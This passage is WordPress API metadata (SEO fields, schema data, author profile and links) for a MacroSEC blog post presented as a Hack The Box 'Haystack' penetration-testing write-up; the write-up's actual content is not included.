(hackthebox.eu)","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","og_locale":"en_US","og_type":"article","og_title":"Hack The Box - Haystack &#8212; MacroSEC","og_description":"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)","og_url":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","og_site_name":"MacroSEC","article_published_time":"2019-11-04T15:46:10+00:00","article_modified_time":"2020-01-29T21:06:59+00:00","og_image":[{"width":332,"height":358,"url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","type":"image\/png"}],"author":"Amarjit Labhuram","twitter_card":"summary_large_image","twitter_creator":"@amarjit_labu","twitter_misc":{"Written by":"Amarjit Labhuram","Est. reading time":"40 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#article","isPartOf":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"},"author":{"name":"Amarjit Labhuram","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/d9d95e3245148a5fd3ea964e0775c8a9"},"headline":"Hack The Box &#8211; Haystack","datePublished":"2019-11-04T15:46:10+00:00","dateModified":"2020-01-29T21:06:59+00:00","mainEntityOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"},"wordCount":8024,"commentCount":0,"publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","articleSection":["Hack The Box","Penetration Testing"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","url":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","name":"Hack The Box - Haystack &#8212; MacroSEC","isPartOf":{"@id":"https:\/\/macrosec.tech\/#website"},"primaryImageOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","datePublished":"2019-11-04T15:46:10+00:00","dateModified":"2020-01-29T21:06:59+00:00","description":"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)","breadcrumb":{"@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#primaryimage","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png","width":332,"height":358},{"@type":"BreadcrumbList","@id":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/macrosec.tech\/"},{"@type":"ListItem","position":2,"name":"Hack The Box &#8211; Haystack"}]},{"@type":"WebSite","@id":"https:\/\/macrosec.tech\/#website","url":"https:\/\/macrosec.tech\/","name":"MacroSEC","description":"Your Cybersecurity Partner - Kenya","publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/macrosec.tech\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/macrosec.tech\/#organization","name":"MacroSec Ltd","url":"https:\/\/macrosec.tech\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","width":400,"height":107,"caption":"MacroSec Ltd"},"image":{"@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/d9d95e3245148a5fd3ea964e0775c8a9","name":"Amarjit Labhuram","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","caption":"Amarjit Labhuram"},"description":"I am a keen professional geek with a broad range of analytical skills and interests ranging from theoretical physics to practical security architectures. My professional experience is focused on all the common types of penetration testing and some rather less orthodox methods . Extensive exposure to a broad range of businesses, architectures, and technologies backs up the theoretical knowledge I'm able to bring all the way from the keyboard to the boardroom. I'm always looking to learn and develop, but a key part of satisfaction for me is applying skills and knowledge to solve interesting real world problems. I typically do this by constructing a model, validating it, and then reasoning (often mathematically or in code) through the potential solutions finding the one with optimum parameters. For the sake of everybody else I've learned over the years how to convey the jist and the results at the right level to people with diverse backgrounds.","sameAs":["https:\/\/www.linkedin.com\/in\/amarjit-labhuram-51699815\/","https:\/\/x.com\/amarjit_labu"]}]}},"_links":{"self":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/comments?post=481"}],"version-history":[{"count":89,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions"}],"predecessor-version":[{"id":693,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions\/693"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media\/483"}],"wp:attachment":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media?parent=481"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/categories?post=481"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/tags?post=481"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}